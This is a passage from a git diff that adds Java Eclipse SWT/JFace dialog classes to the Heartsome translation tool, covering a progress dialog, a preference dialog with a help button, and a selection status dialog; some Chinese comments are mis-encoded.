HsAbstractHelpDilog(Shell shell) { + super(shell); + } + + /** + * + */ + @Override + protected Control createHelpControl(Composite parent) { + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format(getDisplayHelpUrl(), language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + public abstract String getDisplayHelpUrl(); + + /** + * (non-Javadoc) + * @see org.eclipse.jface.dialogs.TrayDialog#isHelpAvailable() + */ + @Override + public boolean isHelpAvailable() { + // TODO Auto-generated method stub + return true; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsAbstractProgressDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsAbstractProgressDialog.java new file mode 100644 index 0000000..a154186 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsAbstractProgressDialog.java @@ -0,0 +1,583 @@ +package net.heartsome.cat.common.ui.dialog; + +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.common.ui.resource.Messages; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.operation.ModalContext; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.wizard.ProgressMonitorPart; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + *

    + * 1〠HsAbstractProgressDialog的功能是创建带进度æ¡çš„对è¯æ¡†æ¨¡æ¿ã€‚以åŠæŽ§åˆ¶å­ç±»ä»»åŠ¡è¿è¡Œ
    + *

    + *

    + * 2ã€å½“å­ç±»å®žçŽ°äº†IRunnableWithProgress接å£å°±ä¼šè°ƒç”¨äº†å­ç±»çš„{@link IRunnableWithProgress#run(IProgressMonitor)}方法
    + * å­ç±»ä¹Ÿå¯ä»¥ä¸å®žçŽ°è¯¥æŽ¥å£ï¼Œè‡ªå®šä¹‰ä»»åŠ¡çš„è¿è¡Œæ–¹å¼ ,此时应该é‡å†™{@link #okPressed()}方法 + *

    + *

    + * 3ã€å®¢æˆ·ç«¯éœ€è¦å®žçŽ°å­ç±»éœ€è¦å®žçŽ°{@link #createButtonsForButtonBar(Composite)}方法,æ¥åˆ›å»ºè‡ªå·±çš„对è¯æ¡†ä¸Šé¢çš„组件 以åŠå®žçŽ° + * {@link IRunnableWithProgress#run(IProgressMonitor)}方法 + *

    + *

    + * 4〠客户端å¯ä»¥é‡å†™{@link #isFork()}, {@link #canCancel()}æ¥æŽ§åˆ¶ä»»åŠ¡è¿è¡Œã€‚是å¦å•ç‹¬è¿è¡Œï¼Œæ˜¯å¦å¯ä»¥å–消.
    + * 以åŠé‡å†™{@link #needsProgressMonitor()} æ¥æŽ§åˆ¶æ˜¯å¦æ˜¾ç¤ºè¿›åº¦æ¡ + *

    + * @author yule + * @version + * @since JDK1.6 + */ +public abstract class HsAbstractProgressDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(HsAbstractProgressDialog.class); + /** + * é”å®šç•Œé¢ + */ + private boolean lockedUI = false; + /** + * 进度æ¡æŽ§ä»¶ä»¥åŠè¿›åº¦ç›‘视器 + */ + private ProgressMonitorPart progressMonitorPart; + + /** + * 客户区 + */ + private Composite container; + + /** + * å–消按钮 + */ + private Button cancelButton; + /** + * 确定按钮 + */ + private Button okButton; + /** + * å–消事件监å¬å™¨ + */ + private SelectionAdapter cancelListener; + /** + * 等待光标 + */ + private Cursor waitCursor; + + private Cursor arrowCursor; + + private static final int RESTORE_ENTER_DELAY = 500; + + private long activeRunningOperations = 0; + + // 是å¦å­ç±»è‡ªå·±åˆ›å»ºè¿›åº¦æ¡ï¼Œéœ€è¦é‡å†™createProgressMonitorPart()方法 + private boolean useCustomProgressMonitorPart = true; + + private static final String FOCUS_CONTROL = "focusControl"; //$NON-NLS-1$ + + private long timeWhenLastJobFinished = -1; + + private MessageDialog windowClosingDialog; + /** 确定按钮åˆå§‹åŒ–值 */ + private boolean okBtnInitState = false; + + /** + * Create the dialog. + * @param parentShell + */ + public HsAbstractProgressDialog(Shell parentShell) { + super(parentShell); + cancelListener = new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + cancelPressed(); + } + }; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + public final Control createDialogArea(Composite parent) { + container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Composite composite = new Composite(container, SWT.NONE); + composite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + // 创建客户区组件 + createClientArea(composite); + + Composite compositeProgress = new Composite(container, SWT.NONE); + compositeProgress.setLayout(new GridLayout(1, false)); + compositeProgress.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, false, 1, 1)); + + // Insert a progress monitor + setProgressMonitorPart(createProgressMonitorPart(compositeProgress, new GridLayout())); + getProgressMonitorPart().setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + getProgressMonitorPart().setVisible(false); + + // // Build the separator line + Label separator = new Label(container, SWT.HORIZONTAL | SWT.SEPARATOR); + separator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + return container; + } + + /** + * 创建客户区域组件 + * @return ; + */ + public abstract Composite createClientArea(Composite clientContainer); + + /** + * 创建按钮 (non-Javadoc) + * @see org.eclipse.jface.dialogs.Dialog#createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + okButton = createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + setOkBtnEnable(okBtnInitState); + cancelButton = createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + cancelButton.addSelectionListener(cancelListener); + } + + @Override + protected void cancelPressed() { + if (activeRunningOperations <= 0) { + setReturnCode(CANCEL); + close(); + } else { + cancelButton.setEnabled(false); + } + } + + /** + * åˆå§‹åŒ–对è¯æ¡†ä½ç½® + */ + @Override + protected Point getInitialSize() { + return new Point(450, 300); + } + + /** + * è¿è¡Œçº¿ç¨‹ + * @param fork + * @param cancelable + * @param runnable + * @throws InvocationTargetException + * @throws InterruptedException + * ; + */ + public void run(boolean fork, boolean cancelable, IRunnableWithProgress runnable) throws InvocationTargetException, + InterruptedException { + // The operation can only be canceled if it is executed in a separate + // thread. + // Otherwise the UI is blocked anyway. + Object state = null; + if (activeRunningOperations == 0) { + state = aboutToStart(fork && cancelable); + } + activeRunningOperations++; + try { + if (!fork) { + lockedUI = true; + } + ModalContext.run(runnable, fork, getProgressMonitor(), getShell().getDisplay()); + lockedUI = false; + } finally { + // explicitly invoke done() on our progress monitor so that its + // label does not spill over to the next invocation, see bug 271530 + if (getProgressMonitor() != null) { + getProgressMonitor().done(); + } + // Stop if this is the last one + if (state != null) { + timeWhenLastJobFinished = System.currentTimeMillis(); + stopped(state); + } + activeRunningOperations--; + } + } + + /** + * 创建进度æ¡ä»¥åŠè¿›åº¦ç›‘视器 + * @param composite + * @param pmlayout + * @return ; + */ + protected ProgressMonitorPart createProgressMonitorPart(Composite composite, GridLayout pmlayout) { + + useCustomProgressMonitorPart = false; + + return new ProgressMonitorPart(composite, pmlayout, true) { + String currentTask = null; + + public void setBlocked(IStatus reason) { + super.setBlocked(reason); + if (!lockedUI) { + getBlockedHandler().showBlocked(getShell(), this, reason, currentTask); + } + } + + public void clearBlocked() { + super.clearBlocked(); + if (!lockedUI) { + getBlockedHandler().clearBlocked(); + } + } + + public void beginTask(String name, int totalWork) { + super.beginTask(name, totalWork); + currentTask = name; + } + + public void setTaskName(String name) { + super.setTaskName(name); + currentTask = name; + } + + public void subTask(String name) { + super.subTask(name); + if (currentTask == null) { + currentTask = name; + } + } + }; + } + + protected ProgressMonitorPart getProgressMonitorPart() { + return progressMonitorPart; + } + + /** + * è¿è¡Œä»»åŠ¡çš„准备工作 + * @return UIçŠ¶æ€ + */ + @SuppressWarnings("rawtypes") + private Object aboutToStart(boolean enableCancelButton) { + Map savedState = null; + if (getShell() != null) { + // Save focus control + Control focusControl = getShell().getDisplay().getFocusControl(); + if (focusControl != null && focusControl.getShell() != getShell()) { + focusControl = null; + } + boolean needsProgressMonitor = needsProgressMonitor(); + + // 设置Shellçš„é¼ æ ‡çŠ¶æ€ + Display d = getShell().getDisplay(); + waitCursor = new Cursor(d, SWT.CURSOR_WAIT); + setDisplayCursor(waitCursor); + + if (useCustomProgressMonitorPart) { + cancelButton.removeSelectionListener(cancelListener); + // 设置å–æ¶ˆæŒ‰é’®çš„é¼ æ ‡çŠ¶æ€ + arrowCursor = new Cursor(d, SWT.CURSOR_ARROW); + cancelButton.setCursor(arrowCursor); + } + + // Deactivate shell + savedState = saveUIState(useCustomProgressMonitorPart && needsProgressMonitor && enableCancelButton); + if (focusControl != null) { + savedState.put(FOCUS_CONTROL, focusControl); + } + // Activate cancel behavior. + if (needsProgressMonitor) { + if (enableCancelButton || useCustomProgressMonitorPart) { + progressMonitorPart.attachToCancelComponent(cancelButton); + } + progressMonitorPart.setVisible(true); + } + + if (timeWhenLastJobFinished == -1) { + timeWhenLastJobFinished = 0; + // 忽略键盘事件( enter space)在最åŽä¸€ä¸ªä»»åŠ¡å®Œæˆä¹‹å‰ + getShell().addTraverseListener(new TraverseListener() { + public void keyTraversed(TraverseEvent e) { + if (e.detail == SWT.TRAVERSE_RETURN || (e.detail == SWT.TRAVERSE_MNEMONIC && e.keyCode == 32)) { + if (timeWhenLastJobFinished != 0 + && System.currentTimeMillis() - timeWhenLastJobFinished < RESTORE_ENTER_DELAY) { + e.doit = false; + return; + } + timeWhenLastJobFinished = 0; + } + } + }); + } + } + return savedState; + } + + public void setProgressMonitorPart(ProgressMonitorPart progressMonitorPart) { + this.progressMonitorPart = progressMonitorPart; + } + + protected IProgressMonitor getProgressMonitor() { + return progressMonitorPart; + } + + /** + * 默认按下任务è¿è¡Œ (non-Javadoc) + * @see org.eclipse.jface.dialogs.Dialog#okPressed() + */ + @Override + protected void okPressed() { + if (this instanceof IRunnableWithProgress) { + try { + run(isFork(), canCancel(), (IRunnableWithProgress) this); + if (getProgressMonitor().isCanceled()) { + return; + } + OpenMessageUtils.openMessage(IStatus.INFO, + Messages.getString("dialog.HsabstractProgressDialog.taskFinished")); + super.okPressed(); + } catch (InvocationTargetException e) { + LOGGER.error("", e); + Throwable t = e.getTargetException(); + if (t != null && t instanceof OutOfMemoryError) { + OpenMessageUtils.openMessage(IStatus.INFO, + Messages.getString("dialog.HsabstractProgressDialog.outofmemory")); + } + return; + } catch (Exception e) { + LOGGER.error("", e); + OpenMessageUtils.openMessage(IStatus.ERROR, e.getMessage()); + } + } + return; + } + + /** + * 设置鼠标 + */ + private void setDisplayCursor(Cursor c) { + Shell[] shells = getShell().getDisplay().getShells(); + for (int i = 0; i < shells.length; i++) { + shells[i].setCursor(c); + } + } + + @Override + public boolean close() { + if (okToClose()) { + return super.close(); + } + return false; + } + + /** + * 任务终止 + * @param savedState + * ; + */ + private void stopped(Object savedState) { + if (getShell() != null && !getShell().isDisposed()) { + if (needsProgressMonitor()) { + progressMonitorPart.setVisible(false); + progressMonitorPart.removeFromCancelComponent(cancelButton); + } + Map state = (Map) savedState; + restoreUIState(state); + setDisplayCursor(null); + if (useCustomProgressMonitorPart) { + cancelButton.addSelectionListener(cancelListener); + cancelButton.setCursor(null); + arrowCursor.dispose(); + arrowCursor = null; + } + waitCursor.dispose(); + waitCursor = null; + Control focusControl = (Control) state.get(FOCUS_CONTROL); + if (focusControl != null && !focusControl.isDisposed()) { + focusControl.setFocus(); + } + } + } + + /** + * æ¢å¤æŒ‰é’®çŠ¶æ€ + */ + private void restoreUIState(Map state) { + restoreEnableState(okButton, state, "ok"); //$NON-NLS-1$ + restoreEnableState(cancelButton, state, "cancel"); //$NON-NLS-1$ + + } + + private void restoreEnableState(Control w, Map h, String key) { + if (w != null) { + Boolean b = (Boolean) h.get(key); + if (b != null) { + w.setEnabled(b.booleanValue()); + } + } + } + + protected boolean needsProgressMonitor() { + return true; + } + + private Map saveUIState(boolean keepCancelEnabled) { + Map savedState = new HashMap(2); + saveEnableStateAndSet(okButton, savedState, "ok", false); //$NON-NLS-1$ + saveEnableStateAndSet(cancelButton, savedState, "cancel", keepCancelEnabled); //$NON-NLS-1$ + + return savedState; + } + + @SuppressWarnings("unchecked") + private void saveEnableStateAndSet(Control w, Map h, String key, boolean enabled) { + if (w != null) { + h.put(key, w.getEnabled() ? Boolean.TRUE : Boolean.FALSE); + w.setEnabled(enabled); + } + } + + /** + * 是å¦å¯ä»¥å…³é—­å¯¹è¯æ¡† + */ + private boolean okToClose() { + if (activeRunningOperations > 0) { + synchronized (this) { + windowClosingDialog = createWizardClosingDialog(); + } + windowClosingDialog.open(); + synchronized (this) { + windowClosingDialog = null; + } + return false; + } + return true; + } + + /** + * 创建关闭对è¯æ¡† + * @return MessageDalog + */ + private MessageDialog createWizardClosingDialog() { + MessageDialog result = new MessageDialog(getShell(), + Messages.getString("dialog.HsabstractProgressDialog.closeTtile"), //$NON-NLS-1$ + null, Messages.getString("dialog.HsabstractProgressDialog.closeMsg"), //$NON-NLS-1$ + MessageDialog.QUESTION, new String[] { IDialogConstants.OK_LABEL }, 0) { + protected int getShellStyle() { + return super.getShellStyle() | SWT.SHEET; + } + }; + return result; + } + + /** + * 是å¦ä»¥å•ç‹¬çš„线程è¿è¡Œ,å­ç±»å¯ä»¥é‡å†™è¯¥æ–¹æ³• + * @return ; + */ + public boolean isFork() { + return true; + } + + /** + * 任务是å¦å¯ä»¥å–消,å­ç±»å¯ä»¥é‡å†™è¯¥æ–¹æ³• + * @return boolean; + */ + public boolean canCancel() { + return true; + } + + /** + * create help button (non-Javadoc) + * @see org.eclipse.jface.dialogs.Dialog#createButtonBar(org.eclipse.swt.widgets.Composite) + */ + protected Control createButtonBar(Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + layout.marginWidth = 0; + layout.marginHeight = 0; + layout.horizontalSpacing = 0; + composite.setLayout(layout); + composite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false)); + composite.setFont(parent.getFont()); + + // create help control if needed + Control helpControl = createHelpControl(composite); + if (helpControl != null) { + ((GridData) helpControl.getLayoutData()).horizontalIndent = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + } + Control buttonSection = super.createButtonBar(composite); + ((GridData) buttonSection.getLayoutData()).grabExcessHorizontalSpace = true; + return composite; + } + + protected Control createHelpControl(Composite parent) { + if (null == getDisplayHelpUrl()) { + return null; + } + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format(getDisplayHelpUrl(), language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + + } + + public String getDisplayHelpUrl() { + return null; + } + + protected void setOkBtnEnable(boolean enable) { + if (okButton == null) { + okBtnInitState = enable; + } else { + okButton.setEnabled(enable); + } + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsPreferenceDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsPreferenceDialog.java new file mode 100644 index 0000000..6fd2335 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsPreferenceDialog.java @@ -0,0 +1,180 @@ +/** + * HsPerferenceDialog.java + * + * Version information : + * + * Date:2012-6-12 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.ui.dialog; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.resource.Messages; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.preference.PreferenceDialog; +import org.eclipse.jface.preference.PreferenceManager; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.model.IContributionService; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class HsPreferenceDialog extends PreferenceDialog { + + public HsPreferenceDialog(Shell parentShell, PreferenceManager manager) { + super(parentShell, manager); + setMinimumPageSize(450, 450); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.dialogs.Dialog#createDialogArea(org.eclipse.swt.widgets.Composite) + */ + protected Control createDialogArea(Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + GridLayout parentcomLayout = new GridLayout(); + parentcomLayout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + parentcomLayout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + parentcomLayout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + parentcomLayout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + composite.setLayout(parentcomLayout); + composite.setLayoutData(new GridData(GridData.FILL_BOTH)); + applyDialogFont(composite); + + GridLayout parentLayout = ((GridLayout) composite.getLayout()); + parentLayout.numColumns = 4; + parentLayout.marginHeight = 0; + parentLayout.marginWidth = 0; + parentLayout.verticalSpacing = 0; + parentLayout.horizontalSpacing = 0; + + composite.setBackground(parent.getDisplay().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + + Control treeControl = createTreeAreaContents(composite); + createSash(composite, treeControl); + + Label versep = new Label(composite, SWT.SEPARATOR | SWT.VERTICAL); + GridData verGd = new GridData(GridData.FILL_VERTICAL | GridData.GRAB_VERTICAL); + + versep.setLayoutData(verGd); + versep.setLayoutData(new GridData(SWT.LEFT, SWT.FILL, false, true)); + + Composite pageAreaComposite = new Composite(composite, SWT.NONE); + pageAreaComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + GridLayout layout = new GridLayout(1, true); + layout.marginHeight = 0; + layout.marginWidth = 0; + layout.verticalSpacing = 0; + pageAreaComposite.setLayout(layout); + + // Build the Page container + Composite pageContainer = createPageContainer(pageAreaComposite); + GridData pageContainerData = new GridData(GridData.FILL_BOTH); + pageContainerData.horizontalIndent = IDialogConstants.HORIZONTAL_MARGIN; + pageContainer.setLayoutData(pageContainerData); + + super.setPageContainer(pageContainer); + // Build the separator line + Label bottomSeparator = new Label(parent, SWT.HORIZONTAL | SWT.SEPARATOR); + bottomSeparator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + return composite; + } + + @Override + protected Control createTreeAreaContents(Composite parent) { + // 创建左侧树 + Control result = super.createTreeAreaContents(parent); + TreeViewer treeViewer = getTreeViewer(); + + // 设置排åºå™¨ + IContributionService cs = (IContributionService) PlatformUI.getWorkbench().getActiveWorkbenchWindow() + .getService(IContributionService.class); + treeViewer.setComparator(cs.getComparatorFor(IContributionService.TYPE_PREFERENCE)); + + treeViewer.expandAll(); // 展开所有 + + return result; + } + + public void setErrorMessage(String newErrorMessage) { + } + + public void setMessage(String newMessage, int newType) { + } + + public void updateMessage() { + } + + public void updateTitle() { + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.dialogs.TrayDialog#createHelpControl(org.eclipse.swt.widgets.Composite) + */ + @Override + protected Control createHelpControl(Composite parent) { + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format(getDisplayHelpUrl(), language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.dialogs.TrayDialog#isHelpAvailable() + */ + @Override + public boolean isHelpAvailable() { + return true; + } + + public String getDisplayHelpUrl(){ + return "/net.heartsome.cat.te.ui.help/html/{0}/ch03.html#sys_para_id"; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/SelectionStatusDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/SelectionStatusDialog.java new file mode 100644 index 0000000..c2ffa71 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/SelectionStatusDialog.java @@ -0,0 +1,190 @@ +package net.heartsome.cat.common.ui.dialog; + +import java.util.Arrays; + +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.dialogs.SelectionDialog; +import org.eclipse.ui.internal.MessageLine; + +/** + * An abstract base class for dialogs with a status bar and ok/cancel buttons. + * The status message must be passed over as StatusInfo object and can be + * an error, warning or ok. The OK button is enabled or disabled depending + * on the status. + * + * @since 2.0 + */ +public abstract class SelectionStatusDialog extends SelectionDialog { + + private MessageLine fStatusLine; + + private IStatus fLastStatus; + + private Image fImage; + + private boolean fStatusLineAboveButtons = false; + + /** + * Creates an instance of a SelectionStatusDialog. + * @param parent + */ + public SelectionStatusDialog(Shell parent) { + super(parent); + } + + /** + * Controls whether status line appears to the left of the buttons (default) + * or above them. + * + * @param aboveButtons if true status line is placed above buttons; if + * false to the right + */ + public void setStatusLineAboveButtons(boolean aboveButtons) { + fStatusLineAboveButtons = aboveButtons; + } + + /** + * Sets the image for this dialog. + * @param image the image. + */ + public void setImage(Image image) { + fImage = image; + } + + /** + * Returns the first element from the list of results. Returns null + * if no element has been selected. + * + * @return the first result element if one exists. Otherwise null is + * returned. + */ + public Object getFirstResult() { + Object[] result = getResult(); + if (result == null || result.length == 0) { + return null; + } + return result[0]; + } + + /** + * Sets a result element at the given position. + * @param position + * @param element + */ + protected void setResult(int position, Object element) { + Object[] result = getResult(); + result[position] = element; + setResult(Arrays.asList(result)); + } + + /** + * Compute the result and return it. + */ + protected abstract void computeResult(); + + /* + * @see Window#configureShell(shell) + */ + protected void configureShell(Shell shell) { + super.configureShell(shell); + if (fImage != null) { + shell.setImage(fImage); + } + } + + /** + * Update the dialog's status line to reflect the given status. It is safe to call + * this method before the dialog has been opened. + * @param status + */ + protected void updateStatus(IStatus status) { + fLastStatus = status; + if (fStatusLine != null && !fStatusLine.isDisposed()) { + updateButtonsEnableState(status); + } + } + + /** + * Update the status of the ok button to reflect the given status. Subclasses + * may override this method to update additional buttons. + * @param status + */ + protected void updateButtonsEnableState(IStatus status) { + Button okButton = getOkButton(); + if (okButton != null && !okButton.isDisposed()) { + okButton.setEnabled(!status.matches(IStatus.ERROR)); + } + } + + /* + * @see Dialog#okPressed() + */ + protected void okPressed() { + computeResult(); + super.okPressed(); + } + + /* + * @see Window#create() + */ + public void create() { + super.create(); + if (fLastStatus != null) { + updateStatus(fLastStatus); + } + } + + /* + * @see Dialog#createButtonBar(Composite) + */ + protected Control createButtonBar(Composite parent) { + Font font = parent.getFont(); + Composite composite = new Composite(parent, SWT.NULL); + GridLayout layout = new GridLayout(); + if (!fStatusLineAboveButtons) { + layout.numColumns = 2; + } + layout.marginHeight = 0; + layout.marginLeft = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginWidth = 0; + composite.setLayout(layout); + composite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + composite.setFont(font); + + if (!fStatusLineAboveButtons && isHelpAvailable()) { + createHelpControl(composite); + } + fStatusLine = new MessageLine(composite); + fStatusLine.setAlignment(SWT.LEFT); + GridData statusData = new GridData(GridData.FILL_HORIZONTAL); + fStatusLine.setErrorStatus(null); + fStatusLine.setFont(font); + if (fStatusLineAboveButtons && isHelpAvailable()) { + statusData.horizontalSpan = 2; + createHelpControl(composite); + } + fStatusLine.setLayoutData(statusData); + + /* + * Create the rest of the button bar, but tell it not to + * create a help button (we've already created it). + */ + boolean helpAvailable = isHelpAvailable(); + setHelpAvailable(false); + super.createButtonBar(composite); + setHelpAvailable(helpAvailable); + return composite; + } + +} + diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/handlers/AbstractSelectProjectFilesHandler.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/handlers/AbstractSelectProjectFilesHandler.java new file mode 100644 index 0000000..1c194e6 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/handlers/AbstractSelectProjectFilesHandler.java @@ -0,0 +1,144 @@ +package net.heartsome.cat.common.ui.handlers; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import 